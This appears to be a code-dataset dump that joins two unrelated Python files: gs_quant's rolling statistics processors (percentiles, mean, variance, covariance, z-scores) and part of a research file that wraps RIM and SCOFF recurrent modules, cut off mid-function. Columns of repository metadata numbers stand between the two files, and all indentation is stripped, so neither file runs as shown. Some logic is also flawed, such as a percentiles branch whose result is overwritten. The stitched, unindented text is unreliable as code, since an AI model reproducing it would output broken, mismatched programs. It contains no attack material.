Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
"""
from typing import Optional, Union
import pandas as pd
from gs_quant.analytics.core.processor import BaseProcessor, DataCoordinateOrProcessor, DateOrDatetimeOrRDate
from gs_quant.analytics.core.processor_result import ProcessorResult
from gs_quant.timeseries.statistics import percentiles, percentile, Window, mean, sum_, std, var, cov, zscores
class PercentilesProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
*,
b: Optional[DataCoordinateOrProcessor] = None,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = Window(None, 0),
**kwargs):
""" PercentilesProcessor
:param a: DataCoordinate or BaseProcessor for the first series
:param b: DataCoordinate or BaseProcessor for the second series
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
"""
super().__init__(**kwargs)
self.children['a'] = a
self.children['b'] = b
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
b_data = self.children_data.get('b')
# Need to check if the child node b was set in the first place.
if self.children.get('b') and isinstance(b_data, ProcessorResult):
if b_data.success:
result = percentiles(a_data.data, b_data.data, w=self.w)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(True, 'PercentilesProcessor: b is not a valid series.')
result = percentiles(a_data.data, w=self.w)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(False, "PercentilesProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "PercentilesProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
class PercentileProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
*,
n: float,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = None,
**kwargs):
""" PercentileProcessor
:param a: DataCoordinate or BaseProcessor for the series
:param n: Percentile
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
"""
super().__init__(**kwargs)
self.children['a'] = a
self.n = n
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
series_length = len(a_data.data)
window = None
if self.w:
window = self.w if self.w <= series_length else series_length
result = percentile(a_data.data, self.n, w=window)
if not isinstance(result, pd.Series):
result = pd.Series(result)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(False, "PercentileProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "PercentileProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
class MeanProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
*,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = None,
**kwargs):
""" MeanProcessor
:param a: DataCoordinate or BaseProcessor for the series
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
**Usage**
Calculates `arithmetic mean <https://en.wikipedia.org/wiki/Arithmetic_mean>`_ of the series over a rolling
window
If window is not provided, computes rolling mean over the full series. If the window size is greater than the
available data, will return mean of available values.
"""
super().__init__(**kwargs)
self.children['a'] = a
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
series_length = len(a_data.data)
window = None
if self.w:
window = self.w if self.w <= series_length else series_length
result = mean(a_data.data, w=window)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(False, "MeanProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "MeanProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
class SumProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
*,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = None,
**kwargs):
""" SumProcessor
:param a: DataCoordinate or BaseProcessor for the series
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
**Usage**
Calculate the sum of observations over a given rolling window.
If window is not provided, computes sum over the full series. If the window size is greater than the available
data, will return sum of available values.
"""
super().__init__(**kwargs)
self.children['a'] = a
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
series_length = len(a_data.data)
window = None
if self.w:
window = self.w if self.w <= series_length else series_length
result = sum_(a_data.data, w=window)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(False, "SumProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "SumProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
class StdDevProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
*,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = Window(None, 0),
**kwargs):
""" StdDevProcessor
:param a: DataCoordinate or BaseProcessor for the first series
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
**Usage**
Provides `unbiased estimator <https://en.wikipedia.org/wiki/Unbiased_estimation_of_standard_deviation>`_ of
sample standard deviation <https://en.wikipedia.org/wiki/Standard_deviation>`_ over a rolling window
If window is not provided, computes standard deviation over the full series
"""
super().__init__(**kwargs)
self.children['a'] = a
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
series_length = len(a_data.data)
window = None
if self.w:
window = self.w if self.w <= series_length else series_length
result = std(a_data.data, w=window)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(False, "StdDevProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "StdDevProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
class VarianceProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
*,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = Window(None, 0),
**kwargs):
""" VarianceProcessor
:param a: DataCoordinate or BaseProcessor for the first series
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
**Usage**
Provides `unbiased estimator <https://en.wikipedia.org/wiki/Unbiased_estimation_of_standard_deviation>`_ of
sample variance <https://en.wikipedia.org/wiki/Variance>`_ over a rolling window
If window is not provided, computes variance over the full series
"""
super().__init__(**kwargs)
self.children['a'] = a
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
series_length = len(a_data.data)
window = None
if self.w:
window = self.w if self.w <= series_length else series_length
result = var(a_data.data, w=window)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(False, "VarianceProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "VarianceProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
class CovarianceProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
b: DataCoordinateOrProcessor,
*,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = Window(None, 0),
**kwargs):
""" CovarianceProcessor
:param a: DataCoordinate or BaseProcessor for the first series
:param b: DataCoordinate or BaseProcessor for the second series
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
**Usage**
Provides `unbiased estimator <https://en.wikipedia.org/wiki/Unbiased_estimation_of_standard_deviation>`_ of
sample co-variance <https://en.wikipedia.org/wiki/Covariance>`_ over a rolling window:
If window is not provided, computes variance over the full series
"""
super().__init__(**kwargs)
self.children['a'] = a
self.children['b'] = b
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
b_data = self.children_data.get('b')
# Need to check if the child node b was set in the first place.
if self.children.get('b') and isinstance(b_data, ProcessorResult):
if b_data.success:
result = cov(a_data.data, b_data.data, w=self.w)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(True, "CovarianceProcessor does not 'b' series values yet.")
else:
self.value = ProcessorResult(True, 'CovarianceProcessor: b is not a valid series.')
else:
self.value = ProcessorResult(False, "CovarianceProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "CovarianceProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
class ZscoresProcessor(BaseProcessor):
def __init__(self,
a: DataCoordinateOrProcessor,
*,
start: Optional[DateOrDatetimeOrRDate] = None,
end: Optional[DateOrDatetimeOrRDate] = None,
w: Union[Window, int] = None,
**kwargs):
""" ZscoresProcessor
:param a: DataCoordinate or BaseProcessor for the series
:param start: start date or time used in the underlying data query
:param end: end date or time used in the underlying data query
:param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size
and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc.
Window size defaults to length of series.
**Usage**
Calculate `standard score <https://en.wikipedia.org/wiki/Standard_score>`_ of each value in series over given
window. Standard deviation and sample mean are computed over the specified rolling window, then element is
normalized to provide a rolling z-score
If window is not provided, computes z-score relative to mean and standard deviation over the full series
"""
super().__init__(**kwargs)
self.children['a'] = a
self.start = start
self.end = end
self.w = w
def process(self):
a_data = self.children_data.get('a')
if isinstance(a_data, ProcessorResult):
if a_data.success:
result = zscores(a_data.data, w=Window(None, 0) if self.w is None else self.w)
self.value = ProcessorResult(True, result)
else:
self.value = ProcessorResult(False, "ZscoresProcessor does not have 'a' series values yet")
else:
self.value = ProcessorResult(False, "ZscoresProcessor does not have 'a' series yet")
return self.value
def get_plot_expression(self):
pass
| 40.936795
| 118
| 0.600496
| 2,209
| 18,135
| 4.848348
| 0.094613
| 0.01774
| 0.062745
| 0.049673
| 0.861438
| 0.855089
| 0.822689
| 0.80915
| 0.805229
| 0.800373
| 0
| 0.007551
| 0.320871
| 18,135
| 442
| 119
| 41.029412
| 0.862049
| 0.347615
| 0
| 0.815686
| 0
| 0
| 0.085364
| 0.001895
| 0
| 0
| 0
| 0
| 0
| 1
| 0.094118
| false
| 0.031373
| 0.019608
| 0
| 0.176471
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9ed38a731eeff6154cd5493504a908eb1ee506b5
| 26,267
|
py
|
Python
|
modular_dynamics/modularity.py
|
dido1998/CausalMBRL
|
2c595988b06b3d568fdde53213029e97841acb03
|
[
"MIT"
] | 20
|
2021-06-08T09:24:30.000Z
|
2022-03-28T15:38:18.000Z
|
modular_dynamics/modularity.py
|
dido1998/CausalMBRL
|
2c595988b06b3d568fdde53213029e97841acb03
|
[
"MIT"
] | 1
|
2021-08-02T10:13:15.000Z
|
2021-08-03T06:03:56.000Z
|
modular_dynamics/modularity.py
|
dido1998/CausalMBRL
|
2c595988b06b3d568fdde53213029e97841acb03
|
[
"MIT"
] | 6
|
2021-08-01T14:29:44.000Z
|
2022-03-21T14:55:31.000Z
|
import torch.nn as nn
import torch
from SCOFF.rnn_models_scoff import RNNModel as RNNModelScoff
from SCOFFv2.rnn_models_scoffv2 import RNNModel as RNNModelScoffv2
from RIMs.rnn_models_rim import RNNModel as RNNModelRim
from RIMv2.rnn_models_rimv2 import RNNModel as RNNModelRimv2
from utilities.RuleNetwork import RuleNetwork
class Identity(torch.autograd.Function):
@staticmethod
def forward(ctx, input):
return input * 1.0
def backward(ctx, grad_output):
print(grad_output)
return grad_output * 1.0
class RIM(nn.Module):
def __init__(self, device,
input_size,
hidden_size,
num_units,
k,
rnn_cell = 'LSTM',
n_layers = 1,
bidirectional = False,
version = 0,
attention_out = 32,
num_rules = 0,
rule_time_steps = 0,
application_option = 3,
batch_first = False,
dropout = 0.0,
step_att=True,
rule_selection = 'gumble'):
super().__init__()
"""
- Wrapper for RIMs.
- Mirrors nn.LSTM or nn.GRU
- supports bidirection and multiple layers
- Option to specify num_rules and rule_time_steps.
Parameters:
device: 'cuda' or 'cpu'
input_size
hidden_size
num_units: Number of RIMs
k: topk
rnn_cell: 'LSTM' or 'GRU' (default = LSTM)
n_layers: num layers (default = 1)
bidirectional: True or False (default = False)
num_rules: number of rules (default = 0)
rule_time_steps: Number of times to apply rules per time step (default = 0)
"""
if device == 'cuda':
self.device = torch.device('cuda')
else:
self.device = torch.device('cpu')
self.n_layers = n_layers
self.num_directions = 2 if bidirectional else 1
self.rnn_cell = rnn_cell
self.num_units = num_units
self.hidden_size = hidden_size // num_units
self.batch_first = batch_first
if self.num_directions == 2:
self.rimcell = nn.ModuleList([RNNModelRim(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i < 2 else
RNNModelRim(rnn_cell, 2 * hidden_size, 2 * hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers * self.num_directions)])
else:
self.rimcell = nn.ModuleList([RNNModelRim(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i == 0 else
RNNModelRim(rnn_cell, hidden_size, hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers)])
def rim_transform_hidden(self, hs):
hiddens = []
h_split = torch.split(hs[0], 1, dim = 0)
c_split = torch.split(hs[1], 1, dim = 0)
for h, c in zip(h_split, c_split):
hiddens.append((h.squeeze(0), c.squeeze(0)))
return hiddens
def rim_inverse_transform_hidden(self, hs):
h, c = [], []
for h_ in hs:
h.append(h_[0])
c.append(h_[1])
h = torch.stack(h, dim = 0)
c = torch.stack(c, dim = 0)
return (h, c)
def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None):
batch_size = x.size(1)
xs = list(torch.split(x, 1, dim = 0))
if direction == 1: xs.reverse()
xs = torch.cat(xs, dim = 0)
hidden = self.rim_transform_hidden((h, c))
entropy = 0
outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network)
entropy += entropy_
#hs = h.squeeze(0).view(batch_size, self.num_units, -1)
#cs = None
#if c is not None:
# cs = c.squeeze(0).view(batch_size, self.num_units, -1)
#outputs = []
#for x in xs:
# x = x.squeeze(0)
# hs, cs = rim_layer(x, hs, cs)
# outputs.append(hs.view(1, batch_size, -1))
hs, cs = self.rim_inverse_transform_hidden(hidden)
outputs = list(torch.split(outputs, 1, dim = 0))
if direction == 1: outputs.reverse()
outputs = torch.cat(outputs, dim = 0)
if c is not None:
return outputs, hs.view(batch_size, -1), cs.view(batch_size, -1), entropy
else:
return outputs, hs.view(batch_size, -1)
def forward(self, x, hidden = None, message_to_rule_network = None):
"""
Input: x (seq_len, batch_size, input_size
hidden tuple[(num_layers * num_directions, batch_size, hidden_size)] (Optional)
Output: outputs (batch_size, seqlen, hidden_size * num_directions)
hidden tuple[(num_layers * num_directions, batch_size, hidden_size)]
"""
if self.batch_first:
x = x.transpose(0, 1)
h, c = None, None
if hidden is not None:
h, c = hidden[0], hidden[1]
hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h
cs = None
if self.rnn_cell == 'LSTM':
cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c
else:
cs = hs
new_hs = torch.zeros(hs.size()).to(hs.device)
new_cs = torch.zeros(cs.size()).to(cs.device)
entropy = 0
for n in range(self.n_layers):
idx = n * self.num_directions
x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x,
hs[idx].unsqueeze(0), cs[idx].unsqueeze(0),
message_to_rule_network=message_to_rule_network)
entropy += entropy_
if self.num_directions == 2:
idx = n * self.num_directions + 1
x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x,
hs[idx].unsqueeze(0), cs[idx].unsqueeze(0),
direction=1,
message_to_rule_network = message_to_rule_network)
entropy += entropy_
x = torch.cat((x_fw, x_bw), dim = 2)
else:
x = x_fw
#hs = torch.stack(hs, dim = 0)
#cs = torch.stack(cs, dim = 0)
if self.batch_first:
x = x.transpose(0, 1)
if self.rnn_cell == 'GRU':
return x, (new_hs, new_hs)
else:
return x, (new_hs, new_cs)
class RIMv2(nn.Module):
def __init__(self, device,
input_size,
hidden_size,
num_units,
k,
rnn_cell = 'LSTM',
n_layers = 1,
bidirectional = False,
version = 0,
attention_out = 32,
num_rules = 0,
rule_time_steps = 0,
application_option = 3,
batch_first = False,
dropout = 0.0,
step_att=True,
rule_selection = 'gumble',
rule_dim = 32):
super().__init__()
"""
- Wrapper for RIMs.
- Mirrors nn.LSTM or nn.GRU
- supports bidirection and multiple layers
- Option to specify num_rules and rule_time_steps.
Parameters:
device: 'cuda' or 'cpu'
input_size
hidden_size
num_units: Number of RIMs
k: topk
rnn_cell: 'LSTM' or 'GRU' (default = LSTM)
n_layers: num layers (default = 1)
bidirectional: True or False (default = False)
num_rules: number of rules (default = 0)
rule_time_steps: Number of times to apply rules per time step (default = 0)
"""
if device == 'cuda':
self.device = torch.device('cuda')
else:
self.device = torch.device('cpu')
self.n_layers = n_layers
self.num_directions = 2 if bidirectional else 1
self.rnn_cell = rnn_cell
self.num_units = num_units
self.hidden_size = hidden_size // num_units
self.batch_first = batch_first
if self.num_directions == 2:
self.rimcell = nn.ModuleList([RNNModelRimv2(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i < 2 else
RNNModelRimv2(rnn_cell, 2 * hidden_size, 2 * hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers * self.num_directions)])
else:
self.rimcell = nn.ModuleList([RNNModelRimv2(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i == 0 else
RNNModelRimv2(rnn_cell, hidden_size, hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers)])
def rim_transform_hidden(self, hs):
hiddens = []
h_split = torch.split(hs[0], 1, dim = 0)
c_split = torch.split(hs[1], 1, dim = 0)
for h, c in zip(h_split, c_split):
hiddens.append((h.squeeze(0), c.squeeze(0)))
return hiddens
def rim_inverse_transform_hidden(self, hs):
h, c = [], []
for h_ in hs:
h.append(h_[0])
c.append(h_[1])
h = torch.stack(h, dim = 0)
c = torch.stack(c, dim = 0)
return (h, c)
def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None):
batch_size = x.size(1)
xs = list(torch.split(x, 1, dim = 0))
if direction == 1: xs.reverse()
xs = torch.cat(xs, dim = 0)
hidden = self.rim_transform_hidden((h, c))
entropy = 0
outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network)
entropy += entropy_
#hs = h.squeeze(0).view(batch_size, self.num_units, -1)
#cs = None
#if c is not None:
# cs = c.squeeze(0).view(batch_size, self.num_units, -1)
#outputs = []
#for x in xs:
# x = x.squeeze(0)
# hs, cs = rim_layer(x, hs, cs)
# outputs.append(hs.view(1, batch_size, -1))
hs, cs = self.rim_inverse_transform_hidden(hidden)
outputs = list(torch.split(outputs, 1, dim = 0))
if direction == 1: outputs.reverse()
outputs = torch.cat(outputs, dim = 0)
if c is not None:
return outputs, hs.view(batch_size, -1), cs.view(batch_size, -1), entropy
else:
return outputs, hs.view(batch_size, -1)
def forward(self, x, hidden = None, message_to_rule_network = None):
"""
Input: x (seq_len, batch_size, input_size
hidden tuple[(num_layers * num_directions, batch_size, hidden_size)] (Optional)
Output: outputs (batch_size, seqlen, hidden_size * num_directions)
hidden tuple[(num_layers * num_directions, batch_size, hidden_size)]
"""
if self.batch_first:
x = x.transpose(0, 1)
h, c = None, None
if hidden is not None:
h, c = hidden[0], hidden[1]
hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h
cs = None
if self.rnn_cell == 'LSTM':
cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c
else:
cs = hs
new_hs = torch.zeros(hs.size()).to(hs.device)
new_cs = torch.zeros(cs.size()).to(cs.device)
entropy = 0
for n in range(self.n_layers):
idx = n * self.num_directions
x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x,
hs[idx].unsqueeze(0), cs[idx].unsqueeze(0),
message_to_rule_network=message_to_rule_network)
entropy += entropy_
if self.num_directions == 2:
idx = n * self.num_directions + 1
x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x,
hs[idx].unsqueeze(0), cs[idx].unsqueeze(0),
direction=1,
message_to_rule_network = message_to_rule_network)
entropy += entropy_
x = torch.cat((x_fw, x_bw), dim = 2)
else:
x = x_fw
#hs = torch.stack(hs, dim = 0)
#cs = torch.stack(cs, dim = 0)
if self.batch_first:
x = x.transpose(0, 1)
if self.rnn_cell == 'GRU':
return x, (new_hs, new_hs), entropy
else:
return x, (new_hs, new_cs), entropy
class SCOFF(nn.Module):
def __init__(self,
device,
input_size,
hidden_size,
num_units,
k,
num_templates = 2,
rnn_cell = 'LSTM',
n_layers = 1,
version= 0,
attention_out= 85,
bidirectional = False,
num_rules = 0,
rule_time_steps = 0,
perm_inv = False,
application_option = 3,
batch_first = False,
dropout = 0.0,
step_att=True,
rule_selection = 'gumble'):
super().__init__()
"""
- Wrappper for SCOFF.
- Mirrors nn.LSTM or nn.GRU
- supports bidirection and multiple layers
- Option to specify num_rules and rule_time_steps.
Parameters:
device: 'cuda' or 'cpu'
input_size
hidden_size
num_units: Number of RIMs
k: topk
rnn_cell: 'LSTM' or 'GRU' (default = LSTM)
n_layers: num layers (default = 1)
bidirectional: True or False (default = False)
num_rules: number of rules (default = 0)
rule_time_steps: Number of times to apply rules per time step (default = 0)
"""
if input_size % num_units != 0:
print('ERROR: input_size should be evenly divisible by num_units')
exit()
if device == 'cuda':
self.device = torch.device('cuda')
else:
self.device = torch.device('cpu')
self.n_layers = n_layers
self.num_directions = 2 if bidirectional else 1
self.rnn_cell = rnn_cell
self.num_units = num_units
self.hidden_size = hidden_size // num_units
self.batch_first = batch_first
if self.num_directions == 2:
self.rimcell = nn.ModuleList([RNNModelScoff(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i < 2 else
RNNModelScoff(rnn_cell, 2 * hidden_size, 2 * hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers * self.num_directions)])
else:
self.rimcell = nn.ModuleList([RNNModelScoff(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i == 0 else
RNNModelScoff(rnn_cell, hidden_size, hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', num_rules = num_rules, version=version, attention_out=attention_out,rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers)])
def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None):
batch_size = x.size(1)
xs = list(torch.split(x, 1, dim = 0))
if direction == 1: xs.reverse()
xs = torch.cat(xs, dim = 0)
hidden = (h, c)#self.rim_transform_hidden((h, c))
entropy = 0
outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network)
entropy += entropy_
#hs = h.squeeze(0).view(batch_size, self.num_units, -1)
#cs = None
#if c is not None:
# cs = c.squeeze(0).view(batch_size, self.num_units, -1)
#outputs = []
#for x in xs:
# x = x.squeeze(0)
# hs, cs = rim_layer(x, hs, cs)
# outputs.append(hs.view(1, batch_size, -1))
hs, cs = hidden #self.rim_inverse_transform_hidden(hidden)
outputs = list(torch.split(outputs, 1, dim = 0))
if direction == 1: outputs.reverse()
outputs = torch.cat(outputs, dim = 0)
if c is not None:
hs_ = hs.reshape(batch_size, -1)
cs_ = cs.reshape(batch_size, -1)
return outputs, hs_, cs_, entropy #.view(batch_size, -1)
else:
hs_ = hs.reshape(batch_size, -1)
return outputs, hs_
def forward(self, x, hidden = None, message_to_rule_network = None):
"""
Input: x (seq_len, batch_size, feature_size
hidden tuple[(num_layers * num_directions, batch_size, hidden_size * num_units)]
Output: outputs (batch_size, seqlen, hidden_size * num_units * num-directions)
h(and c) (num_layer * num_directions, batch_size, hidden_size* num_units)
"""
if self.batch_first:
x = x.transpose(0, 1)
h, c = None, None
if hidden is not None:
h, c = hidden[0], hidden[1]
hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h
cs = None
if self.rnn_cell == 'LSTM':
cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c
else:
cs = hs
#hs_new = []
#cs_new = []
new_hs = torch.zeros(hs.size()).to(hs.device)
new_cs = torch.zeros(cs.size()).to(cs.device)
entropy = 0
for n in range(self.n_layers):
idx = n * self.num_directions
x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), message_to_rule_network = message_to_rule_network)
entropy += entropy_
if self.num_directions == 2:
idx = n * self.num_directions + 1
x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx], cs[idx], direction = 1, message_to_rule_network = message_to_rule_network)
entropy += entropy_
x = torch.cat((x_fw, x_bw), dim = 2)
else:
x = x_fw
#hs = torch.stack(hs, dim = 0)
